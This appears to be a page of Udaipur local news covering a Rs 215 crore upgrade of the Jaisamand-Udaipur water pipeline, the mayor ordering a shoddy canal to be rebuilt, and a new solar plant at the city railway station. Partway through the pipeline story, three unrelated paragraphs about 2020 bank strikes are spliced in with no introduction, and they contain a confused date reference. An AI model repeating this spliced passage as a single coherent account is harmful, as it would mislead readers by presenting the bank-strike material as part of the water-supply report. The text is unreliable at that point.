Udaipur will get 200 lakh liters more water per day from the new Jaisamand-Udaipur pipeline

The state government gave its approval to change the 55 km long pipeline coming from Jaisamand to Udaipur. It will take 3 years to construct this pipeline costing 215 crores.

Doubling the capacity of the 55 km long line, which has been supplying drinking water from Jaisamand Lake to the city of Udaipur for 25 years, will provide 20 MLD or 200 lakh litres of additional water per day from Jaisamand.

Currently, 21 MLD water per day is being supplied from the biggest man-made lake in the city.

Chief Minister Ashok Gehlot’s 215 crores project was approved in the recent budget session.

The Water Supply Department has started working on the project. The project is expected to be completed by October 2023. The tender process will begin as soon as the final Detailed Project Report (DPR) gets approved.

The pipeline that has been supplying water from the Jaisamand Lake since 1995 has 450 to 600 mm in diameter. The new pipeline will be built in 600 to 900 mm in diameter.

An intake well will also be built on the lake. Besides, the old pump houses will be renovated and new pumps will be installed. A new filter plant of 20 MLD capacity will also be built in Udaipur along with tanks for water storage. The locations to build the tanks will be decided as per the requirement.

Jaisamand Lake has a capacity of 14650 Million Cubic Feet (MCFT) out of which 630 MCFT of water is reserved by the Water Supply Department for supplying drinking water in Udaipur city and Salumbar region.

Since the age-old pipeline is damaged in many places, the water from Jaisamand also does not reach the city in sufficient quantity. Because of this, the city experienced huge water crises last year, pushing the department to provide water supply to the city once in 72 hours.

It is to be noted that the March 11-13 strike would be the third bank strike in 2020. The first strike was observed on January 8, 2020, along with nationwide Bandh. After that, the unions held a two-day strike from January 31-February 1.

This time, the strike has been timed ahead of the second Saturday of March when banks observe a holiday i.e. March 15. This means it can affect the customers for five consecutive days closing the banks and even ATMs for five consecutive days.

Also note that the unions have again called for an indefinite all-India bank strike from April 1 this year, if their demands are not met.

1150 feet long open water canal from Surajpole to Udiapole to be reconstructed

Open water channel in Udaipur

Udaipur Mayor Govind Singh Tank inspected the recently constructed open water canal and discovered the poor quality construction been done at the site.

He has issued directives to reconstruct the 1150 feet long and 5 feet wide canal from Surajpole to Udiapole with good quality material.

The mayor visited the canal on Wednesday and observed that very low-quality construction material has been used by the contractor. Unsatisfied with the construction work, the mayor ordered to demolish the open water channel and reconstruct it with better quality construction material.

The RCC work of the canal was recently finished and mayor reached the site for inspection. He discovered inappropriate use of cement and concrete mixture which degraded the over-all RCC quality. The contractor had not used a vibrator machine during construction, appropriate cementing was not done between centring material and the iron rods and few other technical discrepancies were discovered.

The total cost of construction for the canal was over 1 crore.

Tank has asked to issue notices to the contractor, XEN, JEN, AEN and also to the Committee Chairman and would take action against the defaulters.

Udaipur City Station will have a 100 KWP Solar Plant

Udaipur Railway Station Solar Plant

In a bid to contribute towards a cleaner and greener environment, Ajmer Railway Division is installing high capacity solar plant at Udaipur City Railway Station. The step would result in substantial savings in Udaipur station’s electricity consumption.

Udaipur Railway Station is all set to install a 100 kWp solar plant which is expected to produce 5 times more electricity than what is being produced right now. Currently, 20 kilowatt-peak (kWp) of electricity is being produced using solar energy.

Besides, the generation of clean solar energy facilitates a reduction in the carbon footprint to the tune of 1,170 tons per annum.

All the power needs of the energy-neutral stations like lighting, fans, pumps, and other electrical appliances are met by the solar energy generated by them, which brings down the net traditional energy consumption at these stations to zero.

Udaipur Station had earlier also installed a solar plant of 100 kilowatt-peak (kWp) capacity. However, due to a violent storm that hit the city last year, the solar panels were destroyed which reduced the capacity for of solar energy being produced to 20 kilowatt-peak (kWp).

With this new solar plant, the Udaipur City Station would be able to meet its energy requirement while saving a good amount of electricity.
